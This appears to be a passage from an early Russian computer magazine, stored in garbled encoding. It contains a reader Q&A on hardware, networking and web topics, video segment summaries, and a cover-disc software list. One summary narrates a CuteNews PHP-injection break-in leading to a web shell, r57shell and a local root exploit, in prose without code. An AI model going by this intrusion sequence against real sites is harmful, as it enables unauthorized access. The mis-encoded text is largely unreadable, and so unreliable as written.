ïðî÷èòàë îáçîðû Logitech MX-510/518 (~45$, 800
dpi), Microsoft IntelliMouse Explorer 4.0a (~20-25$,
400 dpi), Razer Diamondback Precision (~65$, 1600
dpi). Ðåàëüíûì õàðäêîðîì ìîæíî íàçâàòü ëàçåð-
íóþ ìûøü Logitech G5 (2000 dpi), ïðàâäà, ñòîè-
ìîñòü åå ïîêà åùå çàïðåäåëüíàÿ (~100$), íî ðå-
àëüíîãî ïðîôè ýòî íèêîãäà íå îñòàíîâèò. Åñëè ýòè
äåâàéñû áóäåò ñëîæíî íàéòè â îáû÷íûõ ìàãàçè-
íàõ, íàáåðè èõ íàçâàíèÿ â «ßíäåêñå» � è äåñÿòêè
îíëàéí-ìàãàçèíîâ áóäóò ê òâîèì óñëóãàì.

Q: ××òî òòàêîå ââèðòóàëüíûé îîïåðàòîð ññîòîâîé ññâÿçè?
A: Âèðòóàëüíûìè îïåðàòîðàìè ñîòîé ñâÿçè ïðèíÿòî
ñ÷èòàòü êîìïàíèè, êîòîðûå ïðåäîñòàâëÿþò êëèåíòàì
ïîëíûé ñïåêòð ìîáèëüíûõ óñëóã, íî â òî æå âðåìÿ íå
èìåþò ñîáñòâåííîé ñåòåâîé èíôðàñòðóêòóðû. Âïåð-
âûå ïîíÿòèå Mobile Virtual Network Operator (MVNO)
ïîÿâèëîñü íåñêîëüêî ëåò íàçàä, êîãäà ïðåäïðèèì÷è-
âûå åâðîïåéöû ñòàëè çàêëþ÷àòü äîãîâîðû ñ ðåàëü-
íûìè îïåðàòîðàìè î ïîêóïêå ýôèðíîãî âðåìåíè äëÿ
ïîñëåäóþùåé ïåðåïðîäàæè ñâîèì êëèåíòàì.
Ñîáñòâåííûõ ðàäèî÷àñòîòíûõ ðåñóðñîâ ó íèõ íå áû-
ëî. Òàê æå, êàê è ïðîáëåì ñ ìèëëèàðäíûì îáîðóäî-
âàíèåì, ðàñøèðåíèåì çîíû ïîêðûòèÿ ñåòè, ìîðîêè ñ
äîêóìåíòàìè è ëèöåíçèÿìè íà ïðåäîñòàâëåíèÿ ñîòî-
âîé ñâÿçè, êîòîðûå ïîëó÷èòü ñåé÷àñ ïðàêòè÷åñêè íå-
ðåàëüíî. Ïðåèìóùåñòâà î÷åâèäíû. Äëÿ íà÷àëà áèç-
íåñà íå òðåáóþòñÿ ìèëëèàðäíûå èíâåñòèöèè: äîñòà-
òî÷íî óìåëî ïåðåïðîäàâàòü óñëóãó, íî äåëàòü ýòî íà-

äî ñ óìîì. Åâðîïåéñêèå MVNO-îïåðàòîðû, êîòîðûå
çàíèìàþò áîëåå 60% ðûíêà, îáû÷íî èìåþò ñâîþ
áèëëèíãîâóþ ñèñòåìó (ïîäñ÷åò äåíåã çà ïîòðåáëÿå-
ìûå óñëóãè), ñëóæáó ïîääåðæêè, SIM-êàðòû, îôèñû è
ò.ï. Ñòîëü øèðîêîå ðàñïðîñòðàíåíèå MVNO ïîëó÷è-
ëè çà ñ÷åò ââåäåíèÿ áîëåå ãèáêèõ è ïðèâëåêàòåëüíûõ
òàðèôîâ, à òàêæå äîïîëíèòåëüíûõ óñëóã, äî êîòîðûõ
ó íàñòîÿùèõ îïåðàòîðîâ ïðîñòî íå äîõîäèëè ðóêè.
×òî êàñàåòñÿ Ðîññèè, òî MVNO ïîêà ó íàñ íå ïðè-
æèëèñü, íî òåíäåíöèè â ýòîé îáëàñòè íàìå÷àþòñÿ.
Íå áóäó äåëàòü ðåêëàìó, íî îäíà èç êðóïíåéøèõ
ñåòåé ñàëîíîâ ñîòîâîé ñâÿçè õî÷åò ïîïðîáîâàòü
ñåáÿ â ðîëè MVNO-îïåðàòîðà. Õîçÿåâà èäåè óâå-
ðåíû, ÷òî ó íèõ âñå ïîëó÷èòñÿ, è ãîòîâû âëîæèòü â
ýòó çàòåþ íåìàëåíüêèå äåíüãè.

Q: ÑÑëûøàë îî òòîì, ÷÷òî GGoogle ïïðåäîñòàâëÿåò ááåñï-
ëàòíûé VVPN-ññåðâèñ. ÍÍåóæåëè ýýòî ïïðàâäà?
A: Ïîñëå ïîÿâëåíèÿ ñåðâèñà maps.google.com
(ïîçâîëÿåò ñî ñïóòíèêà óâèäåòü ëþáóþ òî÷êó
çåìíîãî øàðà) ìàëî ÷òî óäèâëÿåò. Ïî÷åìó áû íå
ïðåäîñòàâèòü ìàññàì ñâîáîäíûé äîñòóï â âèðòó-
àëüíóþ ÷àñòíóþ ñåòü? Èçâåñòíûé ïîèñêîâèê
äåéñòâèòåëüíî ïðåäîñòàâëÿåò VPN-ñåðâèñ, ñàìî
ñîáîé, ñîâåðøåííî áåçâîçìåçäíî. Âåðíåå ñêà-
çàòü, ïðåäîñòàâëÿë, òàê êàê íà ìîìåíò ñäà÷è íî-
ìåðà, ñîîòâåòñòâóþùèé ðåñóðñ áûë â íåïðîáóä-
íîì äàóíå. Íåñêîëüêî ÷àñîâ â ïîïûòêàõ ïîëó÷èòü
çàâåòíûé àêêàóíò íå óâåí÷àëèñü óñïåõîì, íî,
âîçìîæíî, òåáå ïîâåçåò áîëüøå. Ïðîñòî çàéäè
íà ñàéò https://vpn.google.com/getpass/ è óêàæè
èìÿ ïîëüçîâàòåëÿ è ïàðîëü. Ïðåäâèæó òâîé âîï-
ðîñ ïî ïîâîäó àíîíèìíîñòè ñåðâåðà. Íèêàêîé
ïðèâàòíîñòè! Ñåðâåð ïóáëè÷íûé, ïîýòîìó àäìè-
íû íàâåðíÿêà âåäóò ëîãè. Âïðî÷åì, øèôðîâàíèå
òðàôèêà îñóùåñòâëÿåòñÿ ïî âñåì ïðàâèëàì, òàê
÷òî VPN îò ãóãëà ìîæíî ñìåëî èñïîëüçîâàòü äëÿ
ìàñêèðîâêè ñâîåãî òðàôèêà îò ïðîâàéäåðà.

Q: ÊÊîãäà ççàïðàøèâàåøü èèíôîðìàöèþ îî ääîìåíå,
WhoIs-ññåðâåð ââîçâðàùàåò òòàáëè÷êó, ññîñòîÿùóþ èèç
íåñêîëüêèõ ïïîëåé. ÍÍåêîòîðûå èèç ííèõ îîïèñûâàþò
èíôîðìàöèþ îî ââëàäåëüöå ((admin), DDNS-ññåðâåðàõ èè
ò.ï. ÑÑ ýýòèì ââñå ïïîíÿòíî, ííî êêàê ððàñøèôðîâàòü ççíà-
÷åíèÿ ïïîëÿ ññòàòóñ ((STATUS)? ÍÍåðåäêî ââñòðå÷àþ
ñîâåðøåííî ððàçíûå ççíà÷åíèÿ ýýòîãî ïïîëÿ.
A: Ïðåæäå ÷åì íà÷àòü îáúÿñíåíèå, ðàçáåðåìñÿ ñ
äâóìÿ ïîíÿòèÿìè: ðåãèñòðàòîð è ðåãèñòðàòóðà. Ðå-
ãèñòðàòóðà (registry) � ýòî ñïåöèàëüíàÿ îðãàíèçà-
öèÿ, êîòîðàÿ ïîääåðæèâàåò êîíêðåòíóþ äîìåííóþ
çîíó (íàïðèìåð .com). Ðåãèñòðàòîð (registrar) �
êîìïàíèÿ, êîòîðîé ðàçðåøåíî ðåãèñòðèðîâàòü äî-
ìåíû â ýòîé çîíå.
ACTIVE. Ýòîò ñòàòóñ ïîëó÷àþò âñå íîâûå äîìåíû
ïî óìîë÷àíèþ. Ðåãèñòðàòîð èìååò ïîëíûé äîñòóï ê
àòðèáóòàì äîìåíàì è ìîæåò èçìåíÿòü èõ ïî ñâîå-
ìó æåëàíèþ. Äåëåãèðîâàíèå (îáñëóæèâàíèå) òàêî-
ãî äîìåíà ìîæåò áûòü ïðîäëåíî.
REGISTRY-LOCK. Ñëîâî LOCK óêàçûâàåò íà òî,
÷òî ðåãèñòðàòîð íå èìååò ïðàâà èçìåíÿòü àòðèáó-
òû äîìåíà è óäàëÿòü, íî ìîæåò ïðîäëèòü äåëåãèðî-
âàíèå. Äëÿ òîãî ÷òîáû ðåãèñòðàòîð ñìîã ìîäèôè-
öèðîâàòü ïàðàìåòðû äîìåíà, íåîáõîäèìî, ÷òîáû
ðåãèñòðàòîðà ñíÿëà ñòàòóñ REGISTRY-LOCK. 
REGISTRY-HOLD. Ýòîò ñòàòóñ òàê æå, êàê è REG-
ISTRY-LOCK, óñòàíàâëèâàåò ðåãèñòðàòóðà. Àòðèáó-
òû ýòîãî äîìåíà íå ìîãóò áûòü èçìåíåíû ðåãèñòðà-
òîðîì, íî îí ìîæåò ïðîäëèòü åãî îáñëóæèâàíèå.
Ðàçíèöà ìåæäó REGISTRY-HOLD è REGISTRY-
LOCK çàêëþ÷àåòñÿ â òîì, ÷òî â ïåðâîì ñëó÷àå èí-
ôîðìàöèÿ î äîìåíå ïîìåùàåòñÿ â Zone File (ñïå-
öèàëüíàÿ áàçà äàííûõ, ñîäåðæàùàÿ ñîîòâåòñòâèå
äîìåííûõ èìåí è IP-àäðåñîâ), à âî âòîðîì � íåò.
REGISTRAR-HOLD. Èìåííî ýòîò ñòàòóñ îáû÷íî ñòà-
âèò ðåãèñòðàòîð. Â ýòîì ñëó÷àå êîíòðîëü íàä äîìå-
íîì ïîëíîñòüþ ëîæèòñÿ íà âëàäåëüöà äîìåíà (òî
åñòü òåáå, åñëè äîìåí çàðåãèñòðèðîâàí íà òåáÿ).
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Ñàì æå ðåãèñòðàòîð íå ìîæåò óäàëèòü è ìîäèôèöèðî-
âàòü ïàðàìåòðû, íî ìîæåò ïðîäëåâàòü îáñëóæèâàíèå.
REGISTRAR-LOCK. Òî æå ñàìîå, ÷òî è REGISTRAR-
HOLD, ñ òîé ëèøü ðàçíèöåé, ÷òî ñ ýòèì ñòàòóñîì èíôà
î äîìåíå çàíîñèòñÿ â ôàéë çîí. Â ñëó÷àå REGISTRAR-
HOLD ýòîãî íå ïðîèñõîäèò.
REGISTRY-DELETE-NOTIFY. Òàêîé ñòàòóñ ìîæåò íà
âðåìÿ óñòàíîâèòü ðåãèñòðàòóðà ïî èñòå÷åíèþ ñðîêà
îáñëóæèâàíèÿ äîìåíà.

Q: ÑÑîáèðàþñü ïïðèîáðåñòè ääëÿ ññâîåãî ÊÊÏÊ êêàðòó ïïàìÿòè
ôîðìàòà SSecure DDigital CCard. ÂÂ õõàðàêòåðèñòèêàõ ÷÷àñòî
óêàçûâàþò ññêîðîñòü: 440x, 880õ èè ääàæå 1133õ. ÍÍî ÷÷òî ððåàëü-
íî îîáîçíà÷àþò ýýòè ööèôðû? ÝÝòî ääåéñòâèòåëüíî ááûñòðî?
A: Åñëè òåáÿ èíòåðåñóåò ñêîðîñòü â Êá/ñ, òî ïðîñòî óì-
íîæü óêàçàííîå çíà÷åíèå íà 150. Åñëè â íàèìåíîâà-
íèè êàðòû óêàçàíà ñêîðîñòü 80õ, òî íàäî 80x150 � ïî-
ëó÷àåòñÿ 12000 Êá/ñ. Âïå÷àòëÿåò? Ñïåøó òåáÿ îãîð-
÷èòü: ýòî ëèøü ïèêîâàÿ ñêîðîñòü, òî åñòü ìàêñèìóì,
êîòîðûé òåîðåòè÷åñêè ìîæíî äîñòè÷ü. Ðåàëüíàÿ ñðåä-
íÿÿ ñêîðîñòü íåñêîëüêî íèæå, íî âñå ðàâíî áîëåå ÷åì
äîñòàòî÷íà. Òåì áîëåå äëÿ ÊÏÊ.

Q: ÑÑîâñåì ííåäàâíî ââûøëà ÎÎÑ FFreeBSD 66.0, èè ÿÿ îî÷åíü
îáðàäîâàëñÿ, óóâèäåâ ääèñòðèáóòèâ ííà ââàøåì DDVD. ÒÒå-
ïåðü ââîçíèê ââîïðîñ: àà ññòîèò ëëè óóñòàíàâëèâàòü ååå ííà
ñåðâåðíóþ ììàøèíó? ÊÊàê îîíà ââåäåò ññåáÿ ââ ïïëàíå ññòà-
áèëüíîñòè èè ááûñòðîäåéñòâèÿ? ÑÑàì ÿÿ ííå ííîâè÷îê èè ââîò
óæå ääîëãîå ââðåìÿ èèñïîëüçóþ ââåðñèþ 55.4, ííî ââñå-òòàêè
õî÷ó óóñëûøàòü òòâîå ììíåíèå. 
A: Åñëè ãîâîðèòü íà÷èñòîòó, òî íèêàêèõ ðåâîëþöèîí-
íûõ èçìåíåíèé â FreeBSD 6.0 íåò. Îòëè÷èÿ ìåæäó 2,
3, 4 è 5-ìè âåòêàìè áûëè âîèñòèíó êîëîññàëüíûìè, â
òî âðåìÿ êàê âåðñèè 5.4 è 6.0 âîîáùå ìàëî ÷åì îòëè-
÷àþòñÿ. Îñîáåííî åñëè ðå÷ü èäåò î ðÿäîâîì ïîëüçî-
âàòåëå, êîòîðûé íå ëåçåò â äåáðè îïåðàöèîííîé ñèñ-
òåìû. Â ýòîì-òî çàêëþ÷àåòñÿ è îñíîâíîé ïëþñ ñâåæå-
ãî ðåëèçà: ïåðåõîä íà íîâóþ âåòêó áóäåò àáñîëþòíî
áåçáîëåçíåííûì äëÿ òåõ, êòî óñïåøíî èñïîëüçîâàë
âåðñèþ 5.4. Îäíî èç êëþ÷åâûõ èçìåíåíèé çàêëþ÷àåò-

ñÿ â îïòèìèçàöèè ðàáîòû ôàéëîâîé ñèñòåìû è îñî-
áåííî ïðÿìîì äîñòóïå ê äèñêó. Ôàéëîâàÿ ñèñòåìà òå-
ïåðü ÿâëÿåòñÿ ìíîãîïîòî÷íîé, ïîýòîìó ñàìûå áàíàëü-
íûå îïåðàöèè êîïèðîâàíèÿ ìåæäó ïàíåëÿìè â
Midnight Commander'å äàæå âèçóàëüíî ñòàëè áûñòðåå.
Åùå îäíî íîâøåñòâî � óñîâåðøåíñòâîâàííàÿ ðåàëè-
çàöèÿ WPA (Wi-Fi Protected Access), íåîáõîäèìàÿ äëÿ
îáåñïå÷åíèÿ áåçîïàñíîñòè áåñïðîâîäíûõ ñåòåé, 
à òàêæå ïîääåðæêà öåëîãî ðÿäà áåñïðîâîäíûõ êàðò.
Àïòàéì ñèñòåìû íà äîìàøíåì ñåðâåðå � 2 íåäåëè.
Òàê ÷òî ìîãó ñìåëî óòâåðæäàòü, ÷òî óâåëè÷èâøàÿñÿ
ïðîèçâîäèòåëüíîñòü íèêàê íå ñêàçàëàñü íà ñòàáèëü-
íîñòè ñèñòåìû. FreeBSD ïî-ïðåæíåìó ðàáîòàåò êàê
÷àñû, äàæå ñ êó÷åé íåçíà÷èòåëüíûõ èçìåíåíèé, î êî-
òîðûõ òû ïîäðîáíåå ìîæåøü ïðî÷èòàòü â ïðåññ-ðåëè-
çå � www.freebsd.org/releases/6.0R/relnotes-i386.html.

Q: ÂÂ ïïîñëåäíåå ââðåìÿ ââñå ááîëüøå ííà÷èíàþ îîñîçíà-
âàòü ïïðåëåñòè ÿÿçûêà XXML, ííî ääëÿ èèñïîëüçîâàíèÿ ííåîá-
õîäèìî ññ÷èòûâàòü ääàííûå èè ååãî ññòðóêòóðó. ÈÈäåÿ ïïè-
ñàòü ññâîé ññîáñòâåííûé ññèíòàêñè÷åñêèé ààíàëèçàòîð
ñîâñåì ííå ïïðåëüùàåò �� ññëèøêîì ññëîæíî, ääà èè ííå ççà-
÷åì. ÊÊàêèå ññóùåñòâóþùèå ððåàëèçàöèè XXML-ïïàðñåðîâ
òû ïïîñîâåòóåøü?
A: Ñóùåñòâóåò äâà âèäà ïàðñåðîâ. Àíàëèçàòîðû, îòíî-
ñÿùèåñÿ ê ïåðâîìó òèïó, èñïîëüçóþò DOM-ìîäåëü,
ñìûñë êîòîðîé çàêëþ÷àåòñÿ â ïðåäâàðèòåëüíîì àíà-
ëèçå âñåãî XML-äîêóìåíòà. Ïîëó÷åííûå äàííûå îðãà-
íèçîâûâàþòñÿ â âèäå óäîáíîãî äåðåâà, ïåðåìåùàÿñü
ïî êîòîðîìó ìîæíî èçâëå÷ü ëþáóþ èíôîðìàöèþ. Ýòîò
ïîäõîä ñ÷èòàåòñÿ ýôôåêòèâíûì òîëüêî â ñëó÷àå íå-
áîëüøèõ XML-äîêóìåíòîâ, òàê êàê äåðåâî îáû÷íî ïî-
ìåùàåòñÿ â îïåðàòèâíóþ ïàìÿòü. Åñëè æå çàðàíåå
ïðåäïîëàãàåòñÿ, ÷òî ðàáîòà áóäåò îñóùåñòâëÿòüñÿ ñ
îáúåìíûìè XML' êàìè, òî ðàçóìíåå èñïîëüçîâàòü âòî-
ðîé òèï àíàëèçàòîðîâ, áàçèðóþùèõñÿ íà SAX-áèáëèî-
òåêàõ (Simple API for XML). Èñïîëüçóåìûé èìè ïîäõîä
îñíîâàí íà ñîáûòèÿõ. Ïàðñåð ïîñëåäîâàòåëüíî ïðîñ-
ìàòðèâàåò äîêóìåíò äî òåõ ïîð, ïîêà íå ïðîèçîéäåò
çàòðåáîâàííîå ñîáûòèå (âñòðåòèëñÿ îïðåäåëåííûé

ýëåìåíò, àòðèáóò, çíà÷åíèå àòðèáóòà), ïîñëå ÷åãî
äîëæíûì îáðàçîì ðåàãèðóåò íà íåãî. Íàïðèìåð, èçâ-
ëåêàåò íóæíûå äàííûå.
Òàê ÷òî ïðåäëàãàþ òåáå êîíêðåòíûå ðåàëèçàöèè ïàð-
ñåðîâ, ðàçðàáîòàííûõ íà ðàçëè÷íûõ ÿçûêàõ: 
ñòàíäàðòíûé Microsoft'îâñêèé ïàðñåð
(msdn.microsoft.com/XML/XMLDownloads), 
PHP (www.php.net/xml), 
Perl (www.xml.com/pub/a/2000/04/05/feature/), 
C++ (xml.apache.org/xerces-c/), 
Java (xml.apache.org/xerces-j/), 
Delphi/CBuilder (www.icom-dv.de/products/xml_tools/),
Python (uche.ogbuji.net/tech/4Suite/amara/)

Q: Ïîäñêàæè, êàê âêëþ÷èòü êîìïðåññèþ «íà ëåòó» äëÿ
äèíàìè÷åñêèõ ñàéòîâ, íàïèñàííûõ íà PHP è Perl. 
Îñíîâíàÿ ÷àñòü êîíòåíòà � ñïëîøíîé òåêñò, êîòîðûé
äîëæåí áóäåò î÷åíü õîðîøî ñæèìàòüñÿ.
A: Â ñëó÷àå èñïîëüçîâàíèÿ PHP è Apache âñå ïðåäåëüíî
ïðîñòî. Íóæíî ëèøü ïðîïèñàòü 2 ñòðîêè â ôàéë .htaccess:
php_flag zlib.output_compression on
php_value zlib.output_compression_level 2
Íàïîìíþ, ÷òî .htaccess ñîäåðæèò êîíôèãóðàöèþ òîé
ïàïêè âåá-ñåðâåðà, â êîòîðîé ñàì íàõîäèòñÿ. Ñ åãî ïî-
ìîùüþ ìîæíî çàïàðîëèòü ðåñóðñ, îáîçíà÷èòü íåêîòî-
ðûå íþàíñû ðàáîòû èëè, êàê â íàøåì ñëó÷àå, äëÿ PHP-
ñöåíàðèåâ àêòèâèçèðîâàòü êîìïðåññèþ «íà ëåòó».
Â ñëó÷àå Perl'à çàäà÷à íåñêîëüêî óñëîæíÿåòñÿ, è îäíèì
.htaccess'îì òóò íå îáîéòèñü. Ðåøàÿ àíàëîãè÷íóþ çàäà÷ó,
ÿ âîñïîëüçîâàëñÿ ñïåöèàëüíûì ìîäóëåì CGI::WebGzip.
Îí ÷ðåçâû÷àéíî ïðîñòîé â èñïîëüçîâàíèè, îäíàêî åñòü
îäíî íî: åãî íóæíî  ïîäêëþ÷èòü ê Perl'ó, óñòàíîâëåííîìó
íà ñåðâåðå. Ñêîðåå âñåãî, ó òåáÿ íåò ñîáñòâåííîãî äåäè-
êà, ïîýòîìó ïîäêëþ÷àòü ìîäóëü ïðèäåòñÿ ñëóæáå ïîääå-
ðæêè òâîåãî õîñòèíã-ïðîâàéäåðà. Ìîäóëü CGI::WebGzip,
à òàêæå åãî àíàëîã CGI::Compress::Gzip íàõîäÿòñÿ íà
ñàéòå CPAN (www.cpan.org). Êðîìå ýòîãî, ðåêîìåíäóþ
îçíàêîìèòüñÿ ñ äîêóìåíòîì Web Content Compression
FAQ (http://perl.apache.org/docs/tutorials/client/compres-
sion/compression.html)
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Íàçâàíèå âèäåî: 
CuteNews bug | CLKiller

Åæåäíåâíî â áàãòðàêå ïîÿâëÿþòñÿ îïèñàíèÿ íî-
âûõ óÿçâèìîñòåé â ñêðèïòàõ. Äàæå îïûòíûé âåá-
ïðîãðàììèñò ïîðîé íå ìîæåò çàðàíåå ïðîñ÷èòàòü
âñå õàêåðñêèå õîäû è íåçàìåòíî äëÿ ñåáÿ îñòàâ-
ëÿåò â êîäå ïîòåíöèàëüíûå óÿçâèìîñòè. Ñ ýòèì
íè÷åãî íå ïîäåëàåøü: ëþáîìó ÷åëîâåêó ñâîé-
ñòâåííî îøèáàòüñÿ. Ñîáñòâåííî ãîâîðÿ, ýòîò ðî-
ëèê ïîñâÿùåí î÷åðåäíîé ïðîãðàììåðñêîé îøèá-
êå â ïîïóëÿðíîì íîâîñòíîì ñêðèïòå CuteNews. Ñ
ïîìîùüþ íàéäåííîãî áàãà õàêåð, êàê ýòî íåðåä-
êî áûâàåò, ñìîã ïîëó÷èòü íåñàíêöèîíèðîâàííûé
äîñòóï ê ñèñòåìå.
Óÿçâèìîñòü äîñòàòî÷íî íåòèïè÷íàÿ, è ñóòü åå
çàêëþ÷àåòñÿ â ñëåäóþùåì. Ïîëó÷èâ POST-çàï-
ðîñ, ñêðèïò çàíîñèò ñîäåðæèìîå ïîëÿ «Client-ip»
â ôàéë flood.db.php. Ïðîâåðêà ñîäåðæèìîãî íå
îñóùåñòâëÿåòñÿ, ÷òî ÿâëÿåòñÿ íåïðîñòèòåëüíîé
îïëîøíîñòüþ ñî ñòîðîíû ïðîãðàììèñòà. Ìîæíî
ñôîðìèðîâàòü òàêîé çàïðîñ, â ðåçóëüòàòå êîòî-
ðîãî â óêàçàííûé ôàéë âíåäðèòñÿ PHP-êîä, à

çíà÷èò - óäàñòñÿ ïîëó÷èòü âåá-øåëë íà ñåðâåðå.
Èòàê, ïîäðîáíûé ñöåíàðèé âçëîìà. Ñíà÷àëà
âçëîìùèê íàøåë æåðòâó, áåñõèòðîñòíî âîñïîëü-
çîâàâøèñü ïîèñêîâèêîì (äàæå Ôîðá òàê èíîãäà
äåëàåò � íàáëþäàë çà ïðîöåññîì ëè÷íî :) ). Ïîñ-
ëå ýòîãî îí äîáàâèë êîììåíòàðèé ê îäíîé èç
îïóáëèêîâàííûõ íà ñàéòå íîâîñòåé. Ñïåöèàëüíîé
ïðîãðàììå, êîòîðàÿ ïðåäâàðèòåëüíî áûëà óñòà-
íîâëåíà íà åãî êîìïüþòåðå, óäàëîñü ïåðåõâàòèòü
çàïðîñ, îòïðàâëåííûé íà ñåðâåð áðàóçåðîì. Îñî-
áûì îáðàçîì îòðåäàêòèðîâàâ åãî çíà÷åíèå, õà-
êåð îòîñëàë çàïðîñ åùå ðàç, íî óæå âðó÷íóþ. Îá-
ðàáîòêà ýòîãî POST-ðåêâåñòà íà ñåðâåðå ïðèâå-
ëà ê òîìó, ÷òî ìàãè÷åñêàÿ ñòðîêà ñèìâîëîâ çàïè-
ñàëàñü â PHP-ôàéë, â ðåçóëüòàòå ÷åãî õàêåð çàâ-
ëàäåë âåá-øåëëîì. Çàòåì âçëîìùèê íàøåë äè-
ðåêòîðèþ, äîñòóïíóþ äëÿ çàïèñè, è óñïåøíî çà-
ëèë â íåå r57shell. Òàê ñêàçàòü äëÿ óäîáñòâà ðàáî-
òû íà ñåðâåðå. Îáíàðóæèâ ñòàðóþ âåðñèþ ÿäðà,
âçëîìùèê ïðîáóåò çàïóñòèòü ëîêàëüíûé ñëîéò
munmap � è ïîïûòêà çàâåðøàåòñÿ óñïåõîì.

Íàçâàíèå âèäåî: 
Óñòàíîâêà áàóíñåðà psyBNC | PopKorn

Ïîâåñòâîâàòü î òîì, ÷òî òàêîå IRC è êàê èì ïîëü-
çîâàòüñÿ, ïî êðàéíåé ìåðå, ãëóïî. Ïóñòü ýòèì çà-
íèìàþòñÿ æóðíàëû äëÿ ëàìåðîâ, à òû, ÿ óâåðåí,
çíàåøü ïîäîáíûé ïðèìèòèâ ñ ïåëåíîê. Íî âîò î
òîì, êàê àíîíèìíî âèñåòü íà êàíàëå èðêè è áûòü
ïîñòîÿííî ONLINE, íå ïðîïóñêàÿ íè îäíîãî íàïè-
ñàííîãî ñîîáùåíèÿ, ðàññêàçàòü ñòîèò. Âèäåîìà-
òåðèàë ýòîãî íîìåðà èìåííî ýòîìó è ïîñâÿùåí. 
Äëÿ àíîíèìíîé ðàáîòû ïðèìåíÿåòñÿ ñïåöèàëüíàÿ
ïðîãðàììà � òàê íàçûâàåìûé, áàóíñåð. Â ýòîì
ðîëèêå ÿ ïîêàæó, êàê ðàáîòàòü ñ ïîïóëÿðíîé ñîô-
òèíîé psyBNC, ñî÷åòàþùåé â ñåáå îãðîìíîå êîëè-
÷åñòâî ïîëåçíûõ è íå î÷åíü :) ôóíêöèé è ñâîéñòâ.

Â ñàìîì íà÷àëå âèäåî ÿ ëîãèíþñü íà ñåðâåðå, êî-
òîðûé áóäåò ñëóæèòü ïëîùàäêîé äëÿ óñòàíîâêè
òóëçû. Ïîñëå âõîäà â ñèñòåìó, íåîáõîäèìî ïåðåé-
òè â êàòàëîã, â êîòîðîì ëåæèò ñêîìïèëèðîâàííàÿ
âåðñèÿ ïðîãðàììû. Íà÷èíàåòñÿ ïðîöåññ êîíôèãó-
ðàöèè, êîòîðûé ñâîäèòñÿ ê òîìó, ÷òî ÿ îòêðûâàþ
ôàéë psybnc.conf è âïèñûâàþ òóäà àäðåñ IRC-ñåð-
âåðà, ïàðîëü è ïîðò áàóíñåðà, à òàêæå ñâîé íèê 
è èìÿ êàíàëà. Ïîñëå ýòîãî ìíå îñòàåòñÿ òîëüêî àê-
òèâèðîâàòü IRC-ïðîêñþ ñ ïîìîùüþ êîìàíäû
./psybnc è ïðèñòóïàòü ê åå òåñòèðîâàíèþ. Äëÿ ýòî-
ãî ÿ çàïóñêàþ ëþáèìûé IRC-êëèåíò è â êà÷åñòâå
IRC-ñåðâåðà óêàçûâàþ IP-àäðåñ õîñòà è ïîðò, íà
êîòîðîì òîëüêî ÷òî áûë óñòàíîâëåí áàóíñåð. Ïîì-
íèøü, âî âðåìÿ êîíôèãóðèðîâàíèÿ psyBNC ÿ óêà-
çàë ïàðîëü? Ñåé÷àñ åãî íåîáõîäèìî ââåñòè â ïîëå
«Server password». Îñóùåñòâèâ ïîäêëþ÷åíèå, 
ÿ óáåæäàþñü, ÷òî áàóíñåð ðàáîòàåò êîððåêòíî. 

_units

Disco
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DEVELOPMENT
Development
Easy Autorun Creator 2.0
Inno Setup 5.1.6
Midlet Pascal 2.0.1
PatchFactory v3.3
PE Explorer 1.97
PHP 5.1.0
PowerCHM 5.2

Virtual Pascal 2.1 Build 279
Visual Assist X 10.2.1434.0
WinHEX 12.65

MISC
Ant Movie Catalog 3.5.0.2
ClipMate 7.0.14
EmEditor 4.13
Eyes Relaxing and Focusing 2.0

FinePrint 5.46
HandyFind 1.9
ICE Book Reader 7.6
Image Comparer 2.2
ListTV 3.8.7.2
Punto Switcher 2.9
QDictionary 1.3.4
SlyControl 2.7.12
Tag&Rename 3.2 RC3
TaskSwitchXP Pro 2.0
Total Commander v6.53
MarsPack 2
Tray it! 2.0
TreeSize Professional 3.33
VentaFax 5.7
VerseQ 3.0.7
ViceVersa Pro 2.0

MULTIMEDIA
AnyDVD 5.5.5.1
Aston 1.9.1
Chris TV 4.70
CloneCD 5.2.6.1

CloneDVD 2.8.5.1
DVDIdle Pro v5.9.5.6
Flash Player Pro 2.2
FLY 2000 TV v2.38 RC2
3GP Video Converter v2.1
KoolMoves 5.1.4
Light Alloy 3.4
Moho 5.2.1
Nero InCD 4.3.20.1
Porn Movie Grabber 1.0.3
Small CD-Writer 1.33
webcamXP 2.19
YoGen Vocal Remover 2.0.11

NET
&RQ 0.9.7.0
DameWare Mini Remote
Control 4.9.2.6
Essential NetTools 4.0
FlashGet 1.71
Flexiblesoft Dialer 4.9
Gaim 1.5.0
Google Web Accelerator 0.2.62

HandyCache 0.92b8
Hide IP 1.95
Hlsw 1.0.0.44
Kerio VPN Client
Kerio WinRoute Firewall 6.1.2
Maxthon 1.50
MultiNetwork Manager 8
Net Snippets 3.2.0.9
NetCat 1.1 NT
Netlimiter 2.0.5 Pro
Offline Explorer 3.9 SR2
OpenVPN-GUI 1.0.3
Serv-U Version 6.1.0.5
Sitespector 2.1
SMAC 1.2
Steganos Internet Anonym
2006
The Bat! v3.62.14
VisualRoute 2006
WAPT 4.0
Wget 1.10.2

DEVELOPMENT
GDB 6.3
HT 0.9.1
KDE Web Dev 3.4.3
LDasm 0.04.53
Mono 1.1.10
PHP 5.1.0
X-develop Professional 1.1

MISC
digiKam 0.8.0
GCfilms 6.0
Krusader 1.60.1
Picture Downloader 0.2b
WW2D 0.99.87
xlogmaster-1.6.1

MULTIMEDIA
KFilm 0.0.2
Kino 0.8.0

Klear 0.5.3
Kooka is 0.44
Moho 5.2.1
Quicktime for Linux 2.1
RusXMMS csa28.1

NET
bind 9.3.1
DansGuardian 2.8.0.6
gFTP 2.0.18
GPRS Easy Connect 3.0.0

Kopete 0.10.3
KVirc 3.2.0
Liferea 1.0 RC4
lighttpd 1.4.8
Opera 8.51
proxy hunter customed 1.1
prozgui 2.0.5
prozilla 2.0.1
QtWvDialer 0.4.2
Retriever Download Manager 
Samba current version

SYSTEM
ALSA 1.0.10
Berkeley DB 4.3.29
FreeRADIUS 1.0.5
GnuPG 1.4.2
loop-AES-v3.1b
Parallels Workstation 2.0

WINDOWS
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UNIXWAREZ
Bluefish 1.0
CSSED 0.3.0
Flawfinder 1.26
Hydrogen 0.9.2
Kat 0.6.4
KRename 3.0.9
Muine 0.8.3
Scribus 1.3.1

X-TOOLZ
AirMagnet BlueSweep
DotFix FakeSigner 3.2
Hamachi 0.9.9.9
Nikto 1.35
ØÀÐÎWAREZ
AdRem SNMP Manager 1.0.1
As-U-Type Speller 3.1
CDRoller v. 6.02
Dexster 2.10
Driver Cleaner Professional v. 3.3
DVD Identifier v4.2.0
Fasterfox 0.7.8
